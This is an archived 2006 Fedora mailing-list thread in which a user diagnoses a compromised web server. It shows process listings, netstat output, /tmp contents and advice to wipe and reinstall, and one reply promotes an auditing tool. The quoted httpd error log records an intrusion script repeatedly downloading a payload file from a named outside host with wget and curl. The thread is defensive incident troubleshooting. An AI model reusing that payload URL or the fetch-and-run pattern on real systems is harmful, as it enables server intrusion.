possibly hacked
Jeff Vian
jvian10 at charter.net
Wed Nov 22 03:12:20 UTC 2006
On Tue, 2006-11-21 at 12:55 -0600, olga at urbantimes.net wrote:
> > El Jueves, 16 de Noviembre de 2006 22:56, olga at urbantimes.net escribió:
> >> > On Thu, 2006-11-16 at 10:26 -0600, olga at urbantimes.net wrote:
> >> >> Hi,
> >> >>
> >> >> I wrote about kernel errors which somebody pointed out was because
> >> the
> >> >> server was running out of memory.
> >> >>
> >> >> Now I found the following which makes me think that that server may
> >> have
> >> >> been compromized.
> >> >>
> >> >> Here's what I get when I issued: netstat -nap
> >> >>
> >> >> tcp 0 0 131.x.x.x:38423 72.x.x.x:80 ESTABLISHED
> >> >> 5226/ps x
> >> >> tcp 0 0 131.x.x.x:38420 72.x.x.x:80 ESTABLISHED
> >> >> 5365/ps x
> >> >>
> >> >> About a hundred instances of that program 'ps x' running.
> >> >>
> >> >> Also here's what ps -ef produced:
> >> >>
> >> >> apache 6323 1 0 10:30 ? 00:00:00 ps x
> >> >> apache 6324 1 0 10:30 ? 00:00:00 ps x
> >> >> apache 6326 1 0 10:30 ? 00:00:00 ps x
> >> >> apache 6328 1 0 10:30 ? 00:00:00 ps x
> >> >> apache 6330 1 0 10:30 ? 00:00:00 ps x
> >> >
> >> > What does ls -l /proc/6323/exe say? That would be a symlink to the
> >> > executable for that process. Normal ps lives in /bin so the link
> >> should
> >> > point at /bin/ps. If it is connecting out to a remote host, it's
> >> likely
> >> > not the normal ps, just something that's masking itself to make it
> >> less
> >> > likely to get picked up.
> >> >
> >> > --
> >> > David Hollis <dhollis at davehollis.com>
> >>
> >> apache 3102 1 0 15:53 ? 00:00:00 httpd
> >> apache 3104 1 0 15:53 ? 00:00:00 httpd
> >> apache 3106 1 0 15:53 ? 00:00:00 httpd
> >> apache 3108 1 0 15:53 ? 00:00:00 httpd
> >> apache 3110 1 0 15:53 ? 00:00:00 httpd
> >> apache 3112 1 0 15:53 ? 00:00:00 httpd
> >> apache 3114 1 0 15:53 ? 00:00:00 httpd
> >> apache 3116 1 0 15:53 ? 00:00:00 httpd
> >> apache 3118 1 0 15:53 ? 00:00:00 httpd
> >> apache 3120 1 0 15:53 ? 00:00:00 httpd
> >> apache 3122 1 0 15:53 ? 00:00:00 httpd
> >> apache 3125 1 0 15:54 ? 00:00:00 httpd
> >> apache 3127 1 0 15:54 ? 00:00:00 httpd
> >> apache 3129 1 0 15:54 ? 00:00:00 httpd
> >> apache 3131 1 0 15:54 ? 00:00:00 httpd
> >> apache 3133 1 0 15:54 ? 00:00:00 httpd
> >> apache 3135 1 0 15:54 ? 00:00:00 httpd
> >> apache 3137 1 0 15:54 ? 00:00:00 httpd
> >> apache 3139 1 0 15:54 ? 00:00:00 httpd
> >> apache 3141 1 0 15:54 ? 00:00:00 httpd
> >> apache 3143 1 0 15:54 ? 00:00:00 httpd
> >> apache 3145 1 0 15:54 ? 00:00:00 httpd
> >> apache 3639 1 0 15:57 ? 00:00:00 ps x
> >> apache 3642 1 0 15:57 ? 00:00:00 ps x
> >> apache 3645 1 0 15:58 ? 00:00:00 ps x
> >> apache 3647 1 0 15:58 ? 00:00:00 ps x
> >>
> >>
> >> I am getting a ton of these...
> >> Here's what ls -l /proc/3147/exe says
> >> lrwxrwxrwx 1 apache apache 0 Nov 16 15:56 /proc/3147/exe
> >> ->
> >> /usr/bin/perl
> >>
> >> When I do netstat -nap I get:
> >> tcp 0 0 131.x.x.x:44160 72.14.x.x:80 ESTABLISHED -
> >> tcp 0 0 131.x.x.x:44161 72.14.x.x:80 ESTABLISHED -
> >> tcp 0 0 131.x.x.x:44162 72.14.x.x:80 ESTABLISHED -
> >>
> >> The ip points to google...
> >>
> >> And these appeared in the /tmp folder:
> >>
> >> drwxrwxrwt 8 root root 4096 Nov 16 16:00 .
> >> drwxr-xr-x 23 root root 4096 Nov 16 14:35 ..
> >> srwx------ 1 root nobody 0 Nov 16 14:36 .fam_socket
> >> drwxrwxrwt 2 xfs xfs 4096 Nov 16 14:35 .font-unix
> >> srw-rw-rw- 1 root root 0 Nov 16 14:36 .gdm_socket
> >> -rw-r--r-- 1 apache apache 0 Nov 15 15:20 .httpd
> >> drwxrwxrwt 2 root root 4096 Nov 16 14:36 .ICE-unix
> >> drwx------ 2 root root 4096 Nov 16 14:59 mc-root
> >> drwx------ 2 root root 12288 Nov 16 15:16 orbit-root
> >> -rw-r--r-- 1 apache apache 0 Nov 16 15:58
> >> sess_azx3a4wq3x1f2aad4a34sxx1w2o52a45
> >> -rw-r--r-- 1 apache apache 11669 Nov 16 15:43
> >> sess_rdav631df3a1ddfaa34s1x1wwo521459
> >> -r--r--r-- 1 root root 11 Nov 16 14:36 .X0-lock
> >> drwxrwxrwt 2 root root 4096 Nov 16 14:36 .X11-unix
> >>
> >> What is going on?
> >>
> >
> > Finally...did they break into your system? Did you find something strange
> > on
> > the logs? I wonder what happened, give us some information this thread is
> > quite interesting and will help other folks in a near future ;-)
> > One way or another, if they got shell access (even remote text shell, you
> > know...) you should think about reinstalling your system, as far as i
> > know,
> > if the left a rootkit you must not trust your system anymore.
> >
> > By the way, let me give you and advice, installing Babel Enterprise could
> > be a
> > nice idea, ( http://babel.sourceforge.net/en/ ), yeah yeah, it's GPL ;-)
> >
> > Babel is an enterprise-grade auditing system to manage a consistency on
> > security policy between different systems in a non-homogeneus
> > architecture.
> > Babel allows to manage very different operating systems, like AIX,
> > Solaris,
> > Windows 2000, Windows XP, Linux, *BSD or HPUX.
> >
> > Babel allows administrator team to monitor the hardening level of their
> > systems and keep constantly monitored, using periodic policy polling, and
> > of
> > course, a WEB Based, graphical reporting, and of course, a centralized
> > management for all systems
> >
> > There's a demo online, try it.
> >
> > Hope this helps.
>
> It does appear that there has been a break-in. Some kind of script was
> running that was consuming all system resourses. At the time it was
> running, it was also deleting log entries, so if I looked at the log and
> searched for the time we brough the server up on the network, logs would
> show no activity at that time. And that 72.x.x.x IP was probably bogus as
> well.
>
> Here's what I found in the httpd error log:
>
> --06:31:56-- http://autocoutureinc.com/borek.txt
> => `borek.txt'
> Resolving autocoutureinc.com... 208.67.181.244
> Connecting to autocoutureinc.com|208.67.181.244|:80... connected.
> HTTP request sent, awaiting response... 200 OK
> Length: 11,666 (11K) [text/plain]
>
> 0K .......... . 100% 169.99
> KB/s
>
> 06:31:56 (169.99 KB/s) - `borek.txt' saved [11666/11666]
>
> Died at sess_rdav631df3a1ddfaa34s1x1w2o521459 line 24.
> Died at sess_rdav631df3a1ddfaa34s1x1w2o521459 line 24.
> rm: cannot remove `borek.txt*': No such file or directory
> % Total % Received % Xferd Average Speed Time
> Curr.
> Dload Upload Total Current Left
> Speed
> 100 11666 100 11666 0 0 23100 0 0:00:00 0:00:00 0:00:00
> 156k
> Died at sess_dda2631df3a1ddfaa34s1x1wwo521459 line 24.
> Died at sess_dda2631df3a1ddfaa34s1x1wwo521459 line 24.
> rm: cannot remove `borek.txt*': No such file or directory
> Died at sess_edav631df3a15dfaa34s1x1wwo521459 line 24.
> Died at sess_edav631df3a15dfaa34s1x1wwo521459 line 24.
> sh: line 1: lynx: command not found
> sh: line 1: fetch: command not found
> Died at sess_tdx4d3td33a1ddfaa34s1x11x2521459 line 24.
> Died at sess_tdx4d3td33a1ddfaa34s1x11x2521459 line 24.
> --06:32:02-- http://autocoutureinc.com/borek.txt
> => `borek.txt'
> Resolving autocoutureinc.com... 208.67.181.244
> Connecting to autocoutureinc.com|208.67.181.244|:80... connected.
> HTTP request sent, awaiting response... 200 OK
> Length: 11,666 (11K) [text/plain]
>
> 0K .......... . 100% 166.39
> KB/s
>
> A bunch of these with other file names instead of borek.txt and other ips
> as well.
>
Someone else has already suggested it, but I second the suggestion.
Wipe the disk clean and reformat with a new install.
You have no idea what garbage may be laying around to bite you later if
you just try to clean it up. A new install with a formatted disk will
at least make sure no surprises are waiting for you.
>
>
>
More information about the fedora-list
mailing list